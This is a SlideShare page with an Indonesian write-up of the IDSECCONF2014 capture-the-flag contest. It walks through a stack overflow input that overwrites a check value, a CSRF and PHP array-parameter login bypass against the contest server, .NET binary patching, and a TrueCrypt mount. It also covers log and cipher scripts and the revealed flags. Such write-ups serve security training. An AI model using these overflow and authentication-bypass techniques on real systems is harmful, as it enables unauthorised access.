SlideShare ist ein Scribd-Unternehmen logo
1 von 27
Downloaden Sie, um offline zu lesen
IDSECCONF2014 CtF writeup by nganggur 
Easy Exploit 
.text:0804850C public main 
.text:0804850C main proc near ; DATA XREF: _start+17o 
.text:0804850C push ebp 
.text:0804850D mov ebp, esp 
.text:0804850F and esp, 0FFFFFFF0h 
.text:08048512 sub esp, 30h 
.text:08048515 mov dword ptr [esp+2Ch], 0 
.text:0804851D lea eax, [esp+18h] 
.text:08048521 mov [esp+4], eax 
.text:08048525 mov dword ptr [esp], offset a25s ; %25s 
.text:0804852C call ___isoc99_scanf 
.text:08048531 lea eax, [esp+18h] 
.text:08048535 mov [esp+4], eax 
.text:08048539 mov dword ptr [esp], offset format ; buf: %sn
.text:08048540 call _printf 
.text:08048545 mov eax, [esp+2Ch] 
.text:08048549 mov [esp+4], eax 
.text:0804854D mov dword ptr [esp], offset aVal0x08x ; val: 0x%08xn 
.text:08048554 call _printf 
.text:08048559 cmp dword ptr [esp+2Ch], 0C0FFEE76h 
.text:08048561 jnz short loc_8048582 
.text:08048563 mov dword ptr [esp], offset s ; Mantap,flag: ! 
.text:0804856A call _puts 
.text:0804856F mov dword ptr [esp], offset command ; /bin/cat valid/flag 
.text:08048576 call _system 
.text:0804857B mov eax, 0 
.text:08048580 jmp short locret_804859A 
.text:08048582 ; --------------------------------------------------------------------------- 
.text:08048582 
.text:08048582 loc_8048582: ; CODE XREF: main+55j 
.text:08048582 mov dword ptr [esp], offset aTidakkkkkk ; Tidakkkkkk!!! 
.text:08048589 call _puts 
.text:0804858E mov dword ptr [esp], 1 ; status 
.text:08048595 call _exit 
.text:0804859A ; --------------------------------------------------------------------------- 
.text:0804859A 
.text:0804859A locret_804859A: ; CODE XREF: main+74j 
.text:0804859A leave 
.text:0804859B retn 
.text:0804859B main endp
Dari kode diatas, program ini akan mengeksekusi perintah /bin/cat valid/flag (file yang isinya flag) 
apabila nilai di [esp+2Ch] adalah 0C0FFEE76h (Bisa dilihat pada alamat 08048559) 
Di alamat 0804852C, program akan mengambil inputan dari stdin lewat fungsi ___isoc99_scanf 
dan buffer nya diletakkan di alamat [esp+18h]. 
Jumlah buffer 'normal' yang akan menampung inputan tersebut adalah 2Ch - 18h = 14h (20 karakter), 
sehingga apabila input yang diambil oleh program melebihi 20 karakter, buffer pada [esp+2Ch] akan dioverwrite. 
Dan nilai dari [esp+2Ch] harus sama dengan 0C0FFEE76h jika ingin program ini mengoutpukan flag dari file valid/flag. 
Salah satu cara input dari stdin adalah dengan mengetikkan langsung karakter ke terminal. 
Masalahnya nilai 0C0FFEE76h tidak bisa diketik langsung ke terminal. Terminal hanya memroses karakter unicode dan bukan ASCII. 
Jadi inputnya harus pake trik dari file kemudian di 'cat' filenya ke stdout, lalu di pipe ke programnya. 
cat exploit | ./expl1 
isi filenya adalah : 
12345678901234567890vîÿÀ 
20 karakter buffer asli, dan 4 byte buffer sisipan 76 EE FF C0
Easy Forensic, 
Nyembunyiin object/text di balik image di pdf. 
Solusi : 
1. buka aja file pdf nya lewat pdf viewer nya linux. Adobe reader nya windows ga bisa nampilin teks yang disembunyiin di balik gambar di pdf nya. 
2. setelah buka file pdf nya, pencet aja ctrl+A buat nampilin flag nya
Easy Programming. 
Kita dikasih deret 1, 1, 1, 3, 5, 9, 17, 31, 57, 105, 193, 355 
Dari googling sedikit, didapat kalo deret ini adalah deret tribonacci dengan inisialisasi a,b,c = 1 
Dan kita disuruh nyari pada elemen ke berapa dari deret tersebut yang nilainya : 1471338318398529007088445426.......833044527384388989361673409 
Solusi : bruteforce. 
Script python : 
def fiblike(start): 
addnum = len(start) 
memo = start[:] 
def fibber(n): 
try: 
return memo[n] 
except IndexError: 
ans = sum(fibber(i) for i in range(n-addnum, n)) 
memo.append(ans) 
return ans 
return fibber 
fibo = fiblike([1,1,1]) 
for i in range(2000000): 
s=(%s) % fibo(i) 
if s[:10] == '1471338318': 
print i 
break 
elemen tersebut berada di index 131338
Easy Web. 
Easy web ini mengeksploitasi CSRF (cross site request forgery) 
Bisa dilihat dari struktur html nya yang tidak menyediakan csrf token pada form method post. 
Cara eksploitasinya adalah save file web nya menjadi html dan ganti url action pada method post nya 
form class=form-signin method=post action=http://74.120.223.237/web1/proses.php 
Clue selanjutnya adalah : Array 
Target exploit selanjutnya adalah bermain dengan parameter POST nya. 
Setelah mencoba dengan mengubah parameter passwd menjadi : 
input name=id value=test class=form-control type=text 
input name=passwd[] class=form-control type=text value=$_FLAG 
Output dari html nya adalah : 
Selamat Datang, test 
dan di view-source nya, ada clue lagi : !--clue: cobalah dengan user yang lain untuk mendapatkan flag--  
Setelah mencoba dengan user : admin 
input name=id value=admin class=form-control type=text 
ketemu flag nya :
Selamat Datang, admin 
flag:mantaplah_br0_l4njutk4n 
Disini kita bisa menyimpulkan, dengan mengganti input name password dengan array, 
semua input user akan diterma karena semua password akan diload oleh script. 
Jadi apapun input password kita, asalkan username nya benar, sistem akan menganggap inputan itu valid.
Easy Reversing. 
Disini kita dikasih binary EXE. 
EXE ini adalah format EXE dari microsoft .NET 
Salah satu cara buat analsisi .NET executable adalah menggunakan ILSpy (http://ilspy.net/) 
Setelah dibuka dengan ILSpy, bagian yang menarik dari program ini adalah :
Disini ada 3 hal yang bisa kita lakuin : 
1. Cari apa sebenarnya isi dari variabel text 
2. Langsung keluarin messagebox yang isinya stringBuilder.ToString() 
3. Patch programnya, jadi apapun string yang diinput, program akan menampilin message box yang teksnya adalah Flag. 
Untuk opsi 1 dan 2, kita bikin program yang sama, dengan kode yang sama menggunakan Microsoft Visual Studio. 
Hasilnya : 
Password : ganteng2014 
Flag : 9bd03cfdfe10124755e2a051288c6dda
Untuk patching, kita akan mengganti istruksi : 
Instruksi brtue loc_314 (2D 13) diganti menjadi brtue.s loc_339 (2D 00) 
Alur programnya akan berubah menjadi seperti ini :
Jadi apapun string yang kita input, program akan menampilkan flag nya.
Easy Crypto 
Kita dikasih base64 string 
VGlkYWsgc2VnYW1wYW5nIGl0dWxhaCBtYXMgYnJvLiBkZWNyeXB0IGluaTogDQo2ODc0NzQ3MDNhMmYyZjY0NmMyZTY0NzI2ZjcwNjI2Zjc4MmU2MzZmNmQyZjczMmYzMjM0NjkzMTZiNzEzNjc5NjM2ZjZmNjg3MTZhNmMyZjYzNzI3OTcwNzQ2ZjMxNDY2YzYxNjcyZTZkNzAzMw== 
dan ketika di decode, hasilnya : 
Tidak segampang itulah mas bro. decrypt ini: 
687474703a2f2f646c2e64726f70626f782e636f6d2f732f323469316b713679636f6f68716a6c2f63727970746f31466c61672e6d7033 
String tersebut adalah hexstring dari sebuah string, dimana ketika didecode (http://www.string- functions.com/hex-string.aspx) hasilnya : 
http://dl.dropbox.com/s/24i1kq6ycoohqjl/crypto1Flag.mp3 
Setelah didownload, mp3 ini isinya adalah code morse. 
Decode morse ini bisa lewat apps android Morse Code Reader : 
https://play.google.com/store/apps/details?id=org.jfedor.morsecodehl=en 
setelah didecode, hasilnya : FUNM0RS3C0D3
Medium Forensic, 
Kita dikasih file berupa snapshot dari server yang compromised. 
Dari penelusuran, ada file menarik di directory /home/clude/ahay yang isinya disuruh cek log. 
Hint dari web ctf nya adalah : penyerang nya berasal dari afrika. 
Di directory /var/log, hanya ada 1 log yang menarik yaitu log dari apache2 
Karna hint nya seperti itu, kemungkinan kita akan mencari pengakses web dengan ip yang berasal dari negara afrika. 
Nah, solusi paling gampang adalah filter ip dari access log apache, sort dan ilangin duplikasi ip nya terus cari tau ip itu berasal dari negara mana. 
Solusinya bisa diliat dari script medium-forensic.sh 
#--------------------------------------------------------------- 
#!/bin/bash 
IP=$(cat ./access.log | awk {'print $1'} | sort -u) 
cari () { 
for X in $IP; do 
I=$(echo $X) 
echo [+] IP $I berasal dari :  
C=$(geoiplookup $I | head -1 | cut -d ':' -f2) 
echo [+] IP $I berasal dari : $C 
done 
} 
yakin () { 
read -r -p ${1:-Yakin nih? [y/N]}  response 
case $response in 
[yY][eE][sS]|[yY]) 
true
;; 
*) 
false 
;; 
esac 
} 
if [ $# -eq 0 ]; then 
echo [*] Liat semua IP 
yakin  cari 
else 
echo [*] Cari IP dari : $1 
cari | grep -i $1 
fi 
#---------------------------------------------------------------------- 
Command yang dipakai :
Medium Crypto, 
Disini, hint yang ada cuman dari filename aja falsedottc 
Dari ekstension file, bisa ditebak kalau file ini adalah file TrueCrypt. 
Jadi kemungkinan besar, file ini adalah partisi harddisk. 
Jadi kita mount dulu filenya, step step nya : 
1. yum install tcplay util-linux 
2. sudo losetup -f falsedottc 
3. sudo tcplay -m falsedottc -d /dev/loop0 
nah.. disini TrueCrypt nya minta password. Tebakan pertama, passwordnya : idsecconf ternyata benar! :p 
4. sudo mkdir -p /mnt/tc  sudo mount -o nodev,nosuid,uid=1337,gid=1337 /dev/mapper/falsedottc /mnt/tc 
5. cuman ada 1 file di dalam partisi itu, dan filenya namanya flag.txt 
cat /mnt/tc/* #flag.txt here_iam_rock_you_like_a_hurricane
Medium Reverse 
Disini kita dikasih executable, encoded string, dan petunjuk key yang dipakai, executable nya adalah program untuk mengencode string menggunakan key. Kita disuruh buat decode string VLZHXPZNYRBXPMEB dan key untuk decode nya harus dicari sendiri (clue : key ada didalam encode). 
Dari analisis program, pemanggilan fungsi untuk encode ada di 
Dan fungsinya sendiri adalah :
Dengan menggunakan plugin Hex-rays disassembly, didapat : 
Dimana yang menarik disini adalah, fungsi encode ini merupakan fungsi encode mod 26 
c = (p + k) mod 26 
Sehingga fungsi decodenya adalah 
p = (c – k) mod 26 
c = ciphertext, p = plaintext, k = key 
Dan ini code yang saya buat untuk decode string :
Setelah teks dan clue diganti oleh CTF lord nya, akhirnya level ini bisa terpecahkan. (asli.. ga nemu key buat decode string pertamanya..) 
To decode : WFGNEOFGEDQGE 
Key : ABCD 
Sehingga string asli setelah di decode adalah : WEEKENDDECODE
Bonus : Hard Reverse 
Meskipun level ini ga selesai pas ctf, ane iseng ngerjain aja (pas ctf cuman dikasih sejam buat nyelesain level ini.. ctf lord nya rada rada kejam keknya.. :p) 
Singkat cerita, executable dari hardrev ini adalah sebuah server yang standby untuk menerima dan mengirim string dimana untuk memulai proses kirim terima string ini, ada 1 kata pembuka yang harus dikirim client ke server yaitu : ohmyweeekendplisn 
Setelah server menerima string itu, server akan mengirim 84 string random yang diencode 2 kali ke client. Apabila client bisa mengirim balik decoded string nya (plaintext) maka server akan mengirim flag ke client. 
Call ke loop utama program :
Ini call yang ada di dalam loop main call. 
sub_40109D adalah fungsi pengecekan string pembuka dimana apabila client salah mengirim string, program akan berhenti.
Ini fungsi pengecekan kata pembuka : 
Server HARUS menerima string ohmyweeekendplisn dari client.
Selanjutnya, server akan mengulang proses pada sub_400ED2 sebanyak 54h (84) kali dan apabila return dari fungsi tersebut selalu true, pada loop terakhir server akan membaca file flag dan mengirimkan isinya ke client.
Di dalam sub_400ED2, ada 2 fungsi yang menarik yaitu sub_400CEC dan sub_400E58. 
Fungsi di sub_400CEC, akan mengambil input string random dari program dan outputnya adalah array dari integer sebanyak panjang string inputan, dan sub sub_400E58 akan mengambil input dari array tersebut, setiap elemen dari array itu akan diconvert ke string, kemudian diencode dan hasil string nya akan dikirim ke client. 
Setiap karakter input, akan dikurangkan dengan 10 dan diappend dengan karakter 5Fh (_) sebanyak 2 karakter.
Snapshot pada fungsi sub_400CEC : 
Di fungsi ini, ada 3 loop dimana tiap loop akan memroses tiap karakter yang ada dari string dan mentranformasi string tersebut menjadi array dari bilangan integer. 
Berikut code python untuk encode string :
def encode_part2(part2): 
i = 0 
c2 = 0 
c3 = 0 
ln = len(part2) 
arr = [0] * ln 
j = 0 
while i  ln: 
arr[i] = ((i  4) + ln) ^ ord(part2[i]) 
c2 = 0 
while c2  i: 
arr[c2] = arr[c2] ^ (~(arr[i])) 
c3 = 0 
while c3  c2: 
arr[c3] = arr[c3] + (~(arr[c2] ^ arr[i])) 
c3 += 1 
c2 += 1 
i += 1 
return arr
Dan untuk string decodernya : 
def decode_part2(part2): 
ln = len(part2) 
i = ln - 1 
c2 = 0 
c3 = 0 
arr = list(part2) 
while i = 0: 
c2 = i - 1 
while c2 = 0: 
c3 = c2 - 1 
while c3 = 0: 
arr[c3] = arr[c3] - (~(arr[c2] ^ arr[i])) 
c3 -= 1 
arr[c2] = arr[c2] ^ (~(arr[i])) 
c2 -= 1 
arr[i] = ((i  4) + ln) ^ arr[i] 
i -= 1 
ch = [chr(x) for x in arr] 
return .join(ch) 
Flag dari level ini gak diketahui karna server buat ngetest nya udah dimatiin. Tapi dari hasil eksekusi, nampaknya level ini berhasil ditembus.
Server : 
Client : 
Source code dari client bisa dilihat di test-client.py

Weitere ähnliche Inhalte

Was ist angesagt?

Perkenalan Pemrograman C++
Perkenalan Pemrograman C++Perkenalan Pemrograman C++
Perkenalan Pemrograman C++Sparisoma Viridi
 
Asyiknya Belajar Struktur Data di Planet C++
Asyiknya Belajar Struktur Data di Planet C++Asyiknya Belajar Struktur Data di Planet C++
Asyiknya Belajar Struktur Data di Planet C++Nurdin Al-Azies
 
[PUBLIC] quiz-01-midterm-solutions.pdf
[PUBLIC] quiz-01-midterm-solutions.pdf[PUBLIC] quiz-01-midterm-solutions.pdf
[PUBLIC] quiz-01-midterm-solutions.pdfFariz Darari
 
Pelatihan Python Dasar Part 1 - POSS UPI
Pelatihan Python Dasar Part 1 - POSS UPIPelatihan Python Dasar Part 1 - POSS UPI
Pelatihan Python Dasar Part 1 - POSS UPIRidwan Fadjar
 
Dts x dicoding #3 memulai pemrograman kotlin
Dts x dicoding #3 memulai pemrograman kotlinDts x dicoding #3 memulai pemrograman kotlin
Dts x dicoding #3 memulai pemrograman kotlinAhmad Arif Faizin
 
Dts x dicoding #4 memulai pemrograman kotlin
Dts x dicoding #4 memulai pemrograman kotlinDts x dicoding #4 memulai pemrograman kotlin
Dts x dicoding #4 memulai pemrograman kotlinAhmad Arif Faizin
 
Laporan Chatting Server dan Client
Laporan Chatting Server dan ClientLaporan Chatting Server dan Client
Laporan Chatting Server dan Clienttrilestari08
 
Pelatihan Python Dasar Part 2 - POSS UPI
  Pelatihan Python Dasar Part 2 - POSS UPI  Pelatihan Python Dasar Part 2 - POSS UPI
Pelatihan Python Dasar Part 2 - POSS UPIRidwan Fadjar
 
scikit-learn cheat sheet untuk data science
scikit-learn cheat sheet untuk data sciencescikit-learn cheat sheet untuk data science
scikit-learn cheat sheet untuk data sciencesoftscients
 
Soal UKK pbo smk kelas 11 esmester genap
Soal UKK pbo smk kelas 11 esmester genapSoal UKK pbo smk kelas 11 esmester genap
Soal UKK pbo smk kelas 11 esmester genapSaprudin Eskom
 
Mpi comm accept
Mpi comm acceptMpi comm accept
Mpi comm acceptscholaani
 

Was ist angesagt? (18)

Perkenalan Pemrograman C++
Perkenalan Pemrograman C++Perkenalan Pemrograman C++
Perkenalan Pemrograman C++
 
Asyiknya Belajar Struktur Data di Planet C++
Asyiknya Belajar Struktur Data di Planet C++Asyiknya Belajar Struktur Data di Planet C++
Asyiknya Belajar Struktur Data di Planet C++
 
Pertemuan 6 Fungsi String
Pertemuan 6 Fungsi StringPertemuan 6 Fungsi String
Pertemuan 6 Fungsi String
 
Pertemuan 8
Pertemuan 8Pertemuan 8
Pertemuan 8
 
[PUBLIC] quiz-01-midterm-solutions.pdf
[PUBLIC] quiz-01-midterm-solutions.pdf[PUBLIC] quiz-01-midterm-solutions.pdf
[PUBLIC] quiz-01-midterm-solutions.pdf
 
Pelatihan Python Dasar Part 1 - POSS UPI
Pelatihan Python Dasar Part 1 - POSS UPIPelatihan Python Dasar Part 1 - POSS UPI
Pelatihan Python Dasar Part 1 - POSS UPI
 
Rangkuman Addressing
Rangkuman AddressingRangkuman Addressing
Rangkuman Addressing
 
Dts x dicoding #3 memulai pemrograman kotlin
Dts x dicoding #3 memulai pemrograman kotlinDts x dicoding #3 memulai pemrograman kotlin
Dts x dicoding #3 memulai pemrograman kotlin
 
Dts x dicoding #4 memulai pemrograman kotlin
Dts x dicoding #4 memulai pemrograman kotlinDts x dicoding #4 memulai pemrograman kotlin
Dts x dicoding #4 memulai pemrograman kotlin
 
Laporan Chatting Server dan Client
Laporan Chatting Server dan ClientLaporan Chatting Server dan Client
Laporan Chatting Server dan Client
 
Pelatihan Python Dasar Part 2 - POSS UPI
  Pelatihan Python Dasar Part 2 - POSS UPI  Pelatihan Python Dasar Part 2 - POSS UPI
Pelatihan Python Dasar Part 2 - POSS UPI
 
scikit-learn cheat sheet untuk data science
scikit-learn cheat sheet untuk data sciencescikit-learn cheat sheet untuk data science
scikit-learn cheat sheet untuk data science
 
Pertemuan 10 Pointer dan Macro
Pertemuan 10 Pointer dan MacroPertemuan 10 Pointer dan Macro
Pertemuan 10 Pointer dan Macro
 
Galeri PythonTeX
Galeri PythonTeXGaleri PythonTeX
Galeri PythonTeX
 
Soal UKK pbo smk kelas 11 esmester genap
Soal UKK pbo smk kelas 11 esmester genapSoal UKK pbo smk kelas 11 esmester genap
Soal UKK pbo smk kelas 11 esmester genap
 
Mpi comm accept
Mpi comm acceptMpi comm accept
Mpi comm accept
 
2. CodeBlocks & C++
2. CodeBlocks & C++2. CodeBlocks & C++
2. CodeBlocks & C++
 
Kamus pl sql
Kamus pl sqlKamus pl sql
Kamus pl sql
 

Ähnlich wie How to hack #IDSECCONF2014 ctf online challenge - nganggur

C programming language notes (5)
C programming language notes (5)C programming language notes (5)
C programming language notes (5)nakomuri
 
It audit tools
It audit toolsIt audit tools
It audit toolsKing Gruff
 
Intruksi Fundamental
Intruksi FundamentalIntruksi Fundamental
Intruksi FundamentalAkmal Fajar
 
pengenalan c+
pengenalan c+pengenalan c+
pengenalan c+aks247
 
Pengenalan Bahasa C
Pengenalan Bahasa CPengenalan Bahasa C
Pengenalan Bahasa Cguestaf3e8f4
 
670426587f8d8102a1eb712c3a13d9e5.doc
670426587f8d8102a1eb712c3a13d9e5.doc670426587f8d8102a1eb712c3a13d9e5.doc
670426587f8d8102a1eb712c3a13d9e5.docKikiFikriansyah1
 
Analisis semantik, kode antara dan pembangkitan kode (2).pptx
Analisis semantik, kode antara dan pembangkitan kode (2).pptxAnalisis semantik, kode antara dan pembangkitan kode (2).pptx
Analisis semantik, kode antara dan pembangkitan kode (2).pptxDiaAku6
 
Laporan resmi
Laporan resmiLaporan resmi
Laporan resminatubakha
 
Laporan praktikum modul ii & iii
Laporan praktikum modul ii & iiiLaporan praktikum modul ii & iii
Laporan praktikum modul ii & iiiDevi Apriansyah
 
Modul algoritma dan pemograman
Modul algoritma dan pemogramanModul algoritma dan pemograman
Modul algoritma dan pemogramanPANJI_ADITYAN
 
Dasar dasar pemprograman
Dasar dasar pemprogramanDasar dasar pemprograman
Dasar dasar pemprogramanmaryamanwar12
 

Ähnlich wie How to hack #IDSECCONF2014 ctf online challenge - nganggur (20)

Bahasa assemler
Bahasa assemlerBahasa assemler
Bahasa assemler
 
C programming language notes (5)
C programming language notes (5)C programming language notes (5)
C programming language notes (5)
 
It audit tools
It audit toolsIt audit tools
It audit tools
 
C++
C++C++
C++
 
Modul praktikum Bahasa assembly
Modul praktikum Bahasa assemblyModul praktikum Bahasa assembly
Modul praktikum Bahasa assembly
 
Intruksi Fundamental
Intruksi FundamentalIntruksi Fundamental
Intruksi Fundamental
 
6 modul avr
6 modul avr6 modul avr
6 modul avr
 
pengenalan c+
pengenalan c+pengenalan c+
pengenalan c+
 
Tugas sp algo
Tugas sp algoTugas sp algo
Tugas sp algo
 
Workshop On eCos
Workshop On eCosWorkshop On eCos
Workshop On eCos
 
Java1
Java1Java1
Java1
 
Pengenalan Bahasa C
Pengenalan Bahasa CPengenalan Bahasa C
Pengenalan Bahasa C
 
C++
C++C++
C++
 
670426587f8d8102a1eb712c3a13d9e5.doc
670426587f8d8102a1eb712c3a13d9e5.doc670426587f8d8102a1eb712c3a13d9e5.doc
670426587f8d8102a1eb712c3a13d9e5.doc
 
Analisis semantik, kode antara dan pembangkitan kode (2).pptx
Analisis semantik, kode antara dan pembangkitan kode (2).pptxAnalisis semantik, kode antara dan pembangkitan kode (2).pptx
Analisis semantik, kode antara dan pembangkitan kode (2).pptx
 
Laporan resmi
Laporan resmiLaporan resmi
Laporan resmi
 
Laporan praktikum modul ii & iii
Laporan praktikum modul ii & iiiLaporan praktikum modul ii & iii
Laporan praktikum modul ii & iii
 
Modul algoritma dan pemograman
Modul algoritma dan pemogramanModul algoritma dan pemograman
Modul algoritma dan pemograman
 
Modul algoritma dan pemograman
Modul algoritma dan pemogramanModul algoritma dan pemograman
Modul algoritma dan pemograman
 
Dasar dasar pemprograman
Dasar dasar pemprogramanDasar dasar pemprograman
Dasar dasar pemprograman
 

Mehr von idsecconf

idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...
idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...
idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...idsecconf
 
idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...
idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...
idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...idsecconf
 
idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...
idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...
idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...idsecconf
 
idsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdf
idsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdfidsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdf
idsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdfidsecconf
 
idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...
idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...
idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...idsecconf
 
idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...
idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...
idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...idsecconf
 
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...idsecconf
 
Ali - The Journey-Hack Electron App Desktop (MacOS).pdf
Ali - The Journey-Hack Electron App Desktop (MacOS).pdfAli - The Journey-Hack Electron App Desktop (MacOS).pdf
Ali - The Journey-Hack Electron App Desktop (MacOS).pdfidsecconf
 
Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...
Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...
Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...idsecconf
 
Rama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdf
Rama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdfRama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdf
Rama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdfidsecconf
 
Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...
Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...
Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...idsecconf
 
Nosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdf
Nosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdfNosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdf
Nosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdfidsecconf
 
Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...
Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...
Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...idsecconf
 
Utian Ayuba - Profiling The Cloud Crime.pdf
Utian Ayuba - Profiling The Cloud Crime.pdfUtian Ayuba - Profiling The Cloud Crime.pdf
Utian Ayuba - Profiling The Cloud Crime.pdfidsecconf
 
Proactive cyber defence through adversary emulation for improving your securi...
Proactive cyber defence through adversary emulation for improving your securi...Proactive cyber defence through adversary emulation for improving your securi...
Proactive cyber defence through adversary emulation for improving your securi...idsecconf
 
Perkembangan infrastruktur kunci publik di indonesia - Andika Triwidada
Perkembangan infrastruktur kunci publik di indonesia - Andika TriwidadaPerkembangan infrastruktur kunci publik di indonesia - Andika Triwidada
Perkembangan infrastruktur kunci publik di indonesia - Andika Triwidadaidsecconf
 
Pentesting react native application for fun and profit - Abdullah
Pentesting react native application for fun and profit - AbdullahPentesting react native application for fun and profit - Abdullah
Pentesting react native application for fun and profit - Abdullahidsecconf
 
Hacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabella
Hacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabellaHacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabella
Hacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabellaidsecconf
 
Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...
Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...
Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...idsecconf
 
Devsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi Dwianto
Devsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi DwiantoDevsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi Dwianto
Devsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi Dwiantoidsecconf
 

Mehr von idsecconf (20)

idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...
idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...
idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...
 
idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...
idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...
idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...
 
idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...
idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...
idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...
 
idsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdf
idsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdfidsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdf
idsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdf
 
idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...
idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...
idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...
 
idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...
idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...
idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...
 
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...
 
Ali - The Journey-Hack Electron App Desktop (MacOS).pdf
Ali - The Journey-Hack Electron App Desktop (MacOS).pdfAli - The Journey-Hack Electron App Desktop (MacOS).pdf
Ali - The Journey-Hack Electron App Desktop (MacOS).pdf
 
Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...
Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...
Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...
 
Rama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdf
